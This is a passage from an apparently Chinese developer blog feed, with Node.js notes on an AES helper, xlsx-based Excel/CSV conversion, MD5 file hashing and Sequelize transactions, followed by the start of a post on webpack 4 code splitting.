class="keyword">this</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> cipher = crypto.createCipher(algorithm, key)</span><br><span class="line"> <span class="keyword">let</span> ciphered = cipher.update(data, inputEncoding, outputEncoding)</span><br><span class="line"></span><br><span class="line"> ciphered += cipher.final(outputEncoding)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> ciphered</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * descrpt 解密</span></span><br><span class="line"><span class="comment"> * @param ciphered</span></span><br><span class="line"><span class="comment"> * @returns {string}</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> descrpt(ciphered) {</span><br><span class="line"> <span class="keyword">let</span> { algorithm, inputEncoding, outputEncoding, key } = <span class="keyword">this</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> decipher = crypto.createDecipher(algorithm, key)</span><br><span class="line"> <span class="keyword">let</span> deciphered = decipher.update(ciphered, outputEncoding, inputEncoding)</span><br><span class="line"></span><br><span class="line"> deciphered += decipher.final(inputEncoding)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> deciphered</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="built_in">module</span>.exports = Aes</span><br></pre></td></tr></table></figure>
<hr>
<h2 id="使用-xlsx-转换文件"><a href="#使用-xlsx-转换文件" class="headerlink" title="使用 xlsx 转换文件"></a>使用 xlsx 转换文件</h2><p>以下记录下最近使用的xlsx库,使用的目的是解决下面两个问题:</p>
<ol>
<li>将 excel 转换为 CSV(如 /home/seven/201212 -> /home/seven/201212_txt), 并写入原目录,因为后台不好处理 excel 文件。</li>
<li>用户点击下载按钮,则将数据库中的数据,转换为 excel 并下载到前端。</li>
</ol>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> fs = <span class="built_in">require</span>(<span class="string">'fs'</span>)</span><br><span class="line"><span class="keyword">const</span> path = <span class="built_in">require</span>(<span class="string">'path'</span>)</span><br><span class="line"><span class="keyword">const</span> XLSX = <span class="built_in">require</span>(<span class="string">'xlsx'</span>)</span><br><span class="line"><span class="keyword">const</span> crypto = <span class="built_in">require</span>(<span class="string">'crypto'</span>)</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">ExcelUtil</span> </span>{</span><br><span class="line"> <span class="keyword">constructor</span>() {}</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * excel 表格转换成 txt 文件</span></span><br><span class="line"><span class="comment"> * 注意这里使用 sheet_to_csv 而不是 sheet_to_txt</span></span><br><span class="line"><span class="comment"> * 因为 sheet_to_txt 是转成了 utf16, 在头行会有 bom</span></span><br><span class="line"><span class="comment"> * @param filepath</span></span><br><span class="line"><span class="comment"> * @returns {*}</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> transformToCSV(filepath) {</span><br><span class="line"> <span class="comment">// 先判断用户上传的文件是否存在</span></span><br><span class="line"> <span class="keyword">if</span>(!fs.existsSync(filepath)) {</span><br><span class="line"> <span class="comment">// 处理错误</span></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 返回 workbook</span></span><br><span class="line"> <span class="keyword">const</span> wb = XLSX.readFile(filepath)</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 返回 worksheet</span></span><br><span class="line"> <span class="keyword">const</span> ws = wb.Sheets[wb.SheetNames[<span class="number">0</span>]]</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 转换 worksheet 到 csv 文件</span></span><br><span class="line"> <span class="keyword">let</span> data = XLSX.utils.sheet_to_csv(ws)</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 获得文件名,区别与用户上传的 excel 文件,这里增加 _txt</span></span><br><span class="line"> <span class="keyword">let</span> filename = <span class="string">`<span class="subst">${filepath}</span>_txt`</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// 写入文件,若写入失败,则不能够同步后台发布任务</span></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> fs.writeFileSync(filename, data)</span><br><span class="line"> } <span class="keyword">catch</span> (e) {</span><br><span class="line"> <span class="comment">// 处理错误如返回错误的错误码之类的</span></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 写入成功,返回前端</span></span><br><span class="line"> <span class="keyword">return</span> {</span><br><span class="line"> ret: <span class="number">0</span>,</span><br><span class="line"> filename: path.basename(filename)</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 将数据转换为 Excel 表格</span></span><br><span class="line"><span class="comment"> * @param sheetData 表数据</span></span><br><span class="line"><span class="comment"> * @param sheetHeader 表头</span></span><br><span class="line"><span class="comment"> * @param filename 文件名称</span></span><br><span class="line"><span class="comment"> * @param sheetName 表名称</span></span><br><span class="line"><span class="comment"> * @param wscols 列样式</span></span><br><span class="line"><span class="comment"> * @returns {any}</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> transformToExcel(sheetData, sheetHeader, filename, sheetName, wscols) {</span><br><span class="line"> <span class="comment">// 添加表头</span></span><br><span class="line"> sheetData.unshift(sheetHeader)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> wb = XLSX.utils.book_new()</span><br><span class="line"> <span class="keyword">let</span> ws = XLSX.utils.json_to_sheet(sheetData, {</span><br><span class="line"> header: <span class="built_in">Object</span>.keys(sheetHeader),</span><br><span class="line"> skipHeader: <span class="literal">true</span></span><br><span class="line"> })</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 设置列样式</span></span><br><span class="line"> <span class="keyword">if</span> (wscols) {</span><br><span class="line"> ws[<span class="string">'!cols'</span>] = wscols</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> XLSX.utils.book_append_sheet(wb, ws, sheetName)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> XLSX.write(wb, {</span><br><span class="line"> bookType: filename.split(<span class="string">'.'</span>).pop(),</span><br><span class="line"> bookSST: <span class="literal">false</span>,</span><br><span class="line"> type: <span class="string">'buffer'</span></span><br><span class="line"> })</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 删除某一行</span></span><br><span class="line"><span class="comment"> * @param ws</span></span><br><span class="line"><span class="comment"> * @param row_index</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> deleteRow(ws, row_index) {</span><br><span class="line"> <span class="keyword">const</span> ec = <span class="function">(<span class="params">r, c</span>) =></span> {</span><br><span class="line"> <span class="keyword">return</span> XLSX.utils.encode_cell({<span class="attr">r</span>: r, <span class="attr">c</span>: c})</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> range = XLSX.utils.decode_range(ws[<span class="string">"!ref"</span>])</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">let</span> R = row_index; R < range.e.r; ++R) {</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">let</span> C = range.s.c; C <= range.e.c; ++C) {</span><br><span class="line"> ws[ec(R, C)] = ws[ec(R + <span class="number">1</span>, C)]</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> range.e.r--</span><br><span class="line"></span><br><span class="line"> ws[<span class="string">'!ref'</span>] = XLSX.utils.encode_range(range.s, range.e)</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="built_in">module</span>.exports = ExcelUtil</span><br></pre></td></tr></table></figure>
<p><code>transformToExcel</code>调用方式:<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> sheetName = <span class="string">'表名'</span></span><br><span class="line"><span class="keyword">let</span> filename = <span class="string">`<span class="subst">${+<span class="keyword">new</span> <span class="built_in">Date</span>()}</span>.xlsx`</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> sheetHeader = {</span><br><span class="line"> ID: <span class="string">'ID'</span>,</span><br><span class="line"> Name: <span class="string">'姓名'</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 这里用来填充数据</span></span><br><span class="line"><span class="keyword">let</span> sheetData = <span class="keyword">await</span> ctx.models.DBUser.findAll({</span><br><span class="line"> where : {</span><br><span class="line"> xxx : xxx</span><br><span class="line"> },</span><br><span class="line"> raw: <span class="literal">true</span>,</span><br><span class="line"> attributes: [<span class="string">'ID'</span>, <span class="string">'Name'</span>]</span><br><span class="line">})</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> excelUtil = <span class="keyword">new</span> ExcelUtil()</span><br><span class="line"></span><br><span class="line"><span class="comment">// 设置表宽度</span></span><br><span class="line"><span class="keyword">let</span> wscols = [</span><br><span class="line"> {<span class="attr">wch</span>: <span class="number">28</span>},</span><br><span class="line"> {<span class="attr">wch</span>: <span class="number">20</span>}</span><br><span class="line">]</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> data = excelUtil.transformToExcel(sheetData, sheetHeader, filename, sheetName, wscols)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 设置 header 头信息 ,getAttachHeader 省略</span></span><br><span class="line">ctx.set({</span><br><span class="line"> <span class="string">'Content-disposition'</span>: getAttachHeader(ctx, filename),</span><br><span class="line"> <span class="string">'Content-type'</span>: <span class="string">'application/octet-stream'</span></span><br><span class="line">})</span><br><span class="line"></span><br><span class="line"><span class="comment">// 返回给前端相应的内容</span></span><br><span class="line">ctx.body = data</span><br></pre></td></tr></table></figure></p>
<p>注意要结合前端代码来一起下载。如下,这样用户点击下载的时候,就完成了从数据库到 excel 的过称。</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> iframe = <span class="built_in">document</span>.createElement(<span class="string">'iframe'</span>)</span><br><span class="line"></span><br><span class="line">iframe.style.display = <span class="string">'none'</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 传入Nodejs层的接口</span></span><br><span class="line">iframe.src = url</span><br><span class="line"></span><br><span class="line">iframe.onload = iframe.onerror = <span class="function"><span class="params">()</span> =></span> {</span><br><span class="line"><span class="built_in">document</span>.body.removeChild(iframe)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="built_in">document</span>.body.appendChild(iframe)</span><br></pre></td></tr></table></figure>
<hr>
<h2 id="获得文件-MD5"><a href="#获得文件-MD5" class="headerlink" title="获得文件 MD5"></a>获得文件 MD5</h2><p>目的是防止文件被篡改,主要是使用 crypto 库。传入文件的 buffer。<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">* 获得文件的 MD5, 防止文件被篡改</span></span><br><span class="line"><span class="comment">* @param filename</span></span><br><span class="line"><span class="comment">* @returns {string}</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="keyword">const</span> genMd5 = <span class="function"><span class="params">filename</span> =></span> {</span><br><span class="line"> <span class="keyword">let</span> buffer</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> buffer = fs.readFileSync(filename)</span><br><span class="line"> } <span class="keyword">catch</span>(e) {</span><br><span class="line"> <span class="keyword">return</span> <span class="string">''</span></span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">let</span> fsHash = crypto.createHash(<span class="string">'md5'</span>)</span><br><span class="line"> </span><br><span class="line"> fsHash.update(buffer)</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">return</span> fsHash.digest(<span class="string">'hex'</span>)</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>
<hr>
<h2 id="sequelize-的-transaction"><a href="#sequelize-的-transaction" class="headerlink" title="sequelize 的 transaction"></a>sequelize 的 transaction</h2><p><img src="transaction.png" alt="transaction"></p>
<p>sequelize 的事务主要有上面两种方式,一个是自行回滚的写法,另一个是手动声明回滚的写法。我用的是自行回滚的方法。<a href="http://docs.sequelizejs.com/manual/transactions.html" target="_blank" rel="noopener">文档</a></p>
<p>自行回滚的方法,需要在开始向<code>sequelize.transaction</code>传入一个 callback。这种时候,不需要再去进行<code>t.commit()</code> or <code>t.rollback()</code>了。当到 catch 内时,会自行回滚。</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">return</span> sequelize.transaction(<span class="function"><span class="params">t</span> =></span> {</span><br><span class="line"></span><br><span class="line"> <span class="comment">// chain all your queries here. make sure you return them.</span></span><br><span class="line"> <span class="keyword">return</span> User.create({</span><br><span class="line"> firstName: <span class="string">'Abraham'</span>,</span><br><span class="line"> lastName: <span class="string">'Lincoln'</span></span><br><span class="line"> }, {<span class="attr">transaction</span>: t}).then(<span class="function"><span class="params">user</span> =></span> {</span><br><span class="line"> <span class="keyword">return</span> user.setShooter({</span><br><span class="line"> firstName: <span class="string">'John'</span>,</span><br><span class="line"> lastName: <span class="string">'Boothe'</span></span><br><span class="line"> }, {<span class="attr">transaction</span>: t});</span><br><span class="line"> });</span><br><span class="line"></span><br><span class="line">}).then(<span class="function"><span class="params">result</span> =></span> {</span><br><span class="line"> <span class="comment">// Transaction has been committed</span></span><br><span class="line"> <span class="comment">// result is whatever the result of the promise chain returned to the transaction callback</span></span><br><span class="line">}).catch(<span class="function"><span class="params">err</span> =></span> {</span><br><span class="line"> <span class="comment">// Transaction has been rolled back</span></span><br><span class="line"> <span class="comment">// err is whatever rejected the promise chain returned to the transaction callback</span></span><br><span class="line">});</span><br></pre></td></tr></table></figure>
<p>如果你是用的 <code>async await</code> :<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">await</span> sequelize.transaction(<span class="keyword">async</span> transaction => {</span><br><span class="line"> <span class="comment">// step 1</span></span><br><span class="line"> <span class="keyword">await</span> Model.destroy({<span class="attr">where</span>: {id}, transaction});</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// step 2</span></span><br><span class="line"> <span class="keyword">await</span> Model.create({}, {transaction});</span><br><span class="line"> })</span><br><span class="line">} <span class="keyword">catch</span> {</span><br><span class="line"> <span class="comment">// 若上面执行过程中出现错误,则会到 catch 中,并且会自动回滚</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>
<p>如果不想使用自动回滚的这种方法,则不向<code>sequelize.transaction()</code>不传入一个 callback。<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">return</span> sequelize.transaction().then(<span class="function"><span class="params">t</span> =></span> {</span><br><span class="line"> <span class="keyword">return</span> User.create({</span><br><span class="line"> firstName: <span class="string">'Bart'</span>,</span><br><span class="line"> lastName: <span class="string">'Simpson'</span></span><br><span class="line"> }, {<span class="attr">transaction</span>: t}).then(<span class="function"><span class="params">user</span> =></span> {</span><br><span class="line"> <span class="keyword">return</span> user.addSibling({</span><br><span class="line"> firstName: <span class="string">'Lisa'</span>,</span><br><span class="line"> lastName: <span class="string">'Simpson'</span></span><br><span class="line"> }, {<span class="attr">transaction</span>: t});</span><br><span class="line"> }).then(<span class="function"><span class="params">()</span> =></span> {</span><br><span class="line"> <span class="keyword">return</span> t.commit();</span><br><span class="line"> }).catch(<span class="function">(<span class="params">err</span>) =></span> {</span><br><span class="line"> <span class="keyword">return</span> t.rollback();</span><br><span class="line"> });</span><br><span class="line">});</span><br></pre></td></tr></table></figure></p>
<p>如果使用 <code>async await</code> 则:<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> transaction; </span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span> {</span><br><span class="line"> <span class="comment">// get transaction</span></span><br><span class="line"> transaction = <span class="keyword">await</span> sequelize.transaction();</span><br><span class="line"></span><br><span class="line"> <span class="comment">// step 1</span></span><br><span class="line"> <span class="keyword">await</span> Model.destroy({<span class="attr">where</span>: {id}, transaction});</span><br><span class="line"></span><br><span class="line"> <span class="comment">// step 2</span></span><br><span class="line"> <span class="keyword">await</span> Model.create({}, {transaction});</span><br><span class="line"></span><br><span class="line"> <span class="comment">// commit</span></span><br><span class="line"> <span class="keyword">await</span> transaction.commit();</span><br><span class="line"></span><br><span class="line">} <span class="keyword">catch</span> (err) {</span><br><span class="line"> <span class="comment">// Rollback transaction if any errors were encountered</span></span><br><span class="line"> <span class="keyword">if</span> (err) <span class="keyword">await</span> transaction.rollback();</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>
<p>很好用~</p>
<hr>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>5月就做了一个项目,主要是业务逻辑太复杂了,对数据库里的一个字段都要校验几百行代码。</p>
<p>5月去台湾团建,体验一般般,但也算是走出去看看了。</p>
<p>转眼间19年都快过去一半了。加油⛽️!</p>
<p>剩下的几天把项目分支再都验证下,写测试用例,优化下代码,然后再总结下几个问题。</p>
]]></content>
<summary type="html">
<blockquote>
<p>你今年30岁 那么如果你利用业务时间学英语 那么5年也就是你35岁时 你可能就可以成为一个说英文很流利的人🌹</p>
<p>永远不要被时间限制住自己 尽你自己最大的努力 努力做成你最想做的那件事 成为你最想成为的那种人 过着你最想过的那种生活 �
</summary>
</entry>
<entry>
<title>webpack4读书笔记(三)</title>
<link href="http://sevencai.github.io/2019/05/26/webpack4%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0-%E4%B8%89/"/>
<id>http://sevencai.github.io/2019/05/26/webpack4读书笔记-三/</id>
<published>2019-05-26T04:57:36.000Z</published>
<updated>2019-05-29T11:10:15.000Z</updated>
<content type="html"><![CDATA[<p>本篇文章主要记录 webpack 的代码分离的几种方式,由此再去理解通过<strong>代码分离</strong>可以做哪些前端优化:如懒加载和预先加载。之后再介绍了几个易混淆的概念。📚</p>
<hr>
<h1 id="webpack-代码分离🌲"><a href="#webpack-代码分离🌲" class="headerlink" title="webpack 代码分离🌲"></a>webpack 代码分离🌲</h1><p>webpack 代码分离可以有以下这几种方式:</p>
<h2 id="1-入口起点-entry-points"><a href="#1-入口起点-entry-points" class="headerlink" title="1. 入口起点(entry points)"></a>1. 入口起点(entry points)</h2><p>这种是在入口文件内配置多个 entry,自然可以生成多个文件。<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">module</span>.exports = {</span><br><span class="line"> mode: <span class="string">'development'</span>,</span><br><span class="line"> entry: {</span><br><span class="line"> index: <span class="string">'./src/index.js'</span>,</span><br><span class="line"> <span class="comment">// 设置的其他入口</span></span><br><span class="line"> another: <span class="string">'./src/another-module.js'</span></span><br><span class="line"> },</span><br><span class="line"> output: {</span><br><span class="line"> filename: <span class="string">'[name].bundle.js'</span>,</span><br><span class="line"> path: path.resolve(__dirname, <span class="string">'dist'</span>)</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>
<h2 id="2-使用-SplitChunksPlugin-插件"><a href="#2-使用-SplitChunksPlugin-插件" class="headerlink" title="2. 使用 SplitChunksPlugin 插件"></a>2. 使用 <code>SplitChunksPlugin 插件</code></h2><p>它可以将公共的依赖模块提取到已有的 entry chunk 中,或者提取到一个新生成的 chunk<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">module</span>.exports = {</span><br><span class="line"> <span class="comment">//...</span></span><br><span class="line"> optimization: {</span><br><span class="line"> <span class="comment">// splitChunks: {</span></span><br><span class="line"> <span class="comment">// 表明对同步代码和异步代码都做代码分割</span></span><br><span class="line"> <span class="comment">//chunks: 'all'</span></span><br><span class="line"> <span class="comment">// },</span></span><br><span class="line"> splitChunks: {</span><br><span class="line"> chunks: <span class="string">'async'</span>,</span><br><span class="line"> minSize: <span class="number">30000</span>,</span><br><span class="line"> maxSize: <span class="number">0</span>,</span><br><span class="line"> minChunks: <span class="number">1</span>,</span><br><span class="line"> maxAsyncRequests: <span class="number">5</span>,</span><br><span class="line"> maxInitialRequests: <span class="number">3</span>,</span><br><span class="line"> automaticNameDelimiter: <span class="string">'~'</span>,</span><br><span class="line"> name: <span class="literal">true</span>,</span><br><span class="line"> cacheGroups: {</span><br><span class="line"> vendors: {</span><br><span class="line"> test: <span class="regexp">/[\\/]node_modules[\\/]/</span>,</span><br><span class="line"> priority: <span class="number">-10</span></span><br><span class="line"> },</span><br><span class="line"> <span class="keyword">default</span>: {</span><br><span class="line"> minChunks: <span class="number">2</span>,</span><br><span class="line"> priority: <span class="number">-20</span>,</span><br><span class="line"> reuseExistingChunk: <span class="literal">true</span></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>
<h2 id="3-使用动态导入方法"><a href="#3-使用动态导入方法" class="headerlink" title="3. 使用动态导入方法"></a>3. 使用动态导入方法</h2><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getComponent</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">import</span>(<span class="comment">/* webpackChunkName: 'loadash'*/</span> <span class="string">'lodash'</span>)</span><br><span class="line"> .then(<span class="function">(<span class="params">{defalut: _}</span>) =></span> {</span><br><span class="line"> <span class="keyword">let</span> dom = <span class="built_in">document</span>.createElement(<span class="string">'div'</span>)</span><br><span class="line"> </span><br><span class="line"> dom.innerText = _.join([<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>], <span class="string">'+'</span>)</span><br><span class="line"> <span class="keyword">return</span> dom</span><br><span class="line"> })</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 或者用 async await</span></span><br><span class="line"><span class="keyword">async</span> <span class="function"><span class="keyword">function</span> <span class="title">getComponent</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">const</span> { <span class="attr">default</span>: _ } = <span class="keyword">await</span> <span class="keyword">import</span>(<span class="comment">/* webpackChunkName: 'lodash'*/</span> <span class="string">'lodash'</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> dom = <span class="built_in">document</span>.createElement(<span class="string">'div'</span>)</span><br><span class="line"> </span><br><span class="line"> dom.innerText = _.join([<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>], <span class="string">'+'</span>)</span><br><span class="line"> <span class="keyword">return</span> dom</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 然后再进行调用</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">renderComponent</span>(<span class="params"></span>) </span>{</span><br><span class="line"> 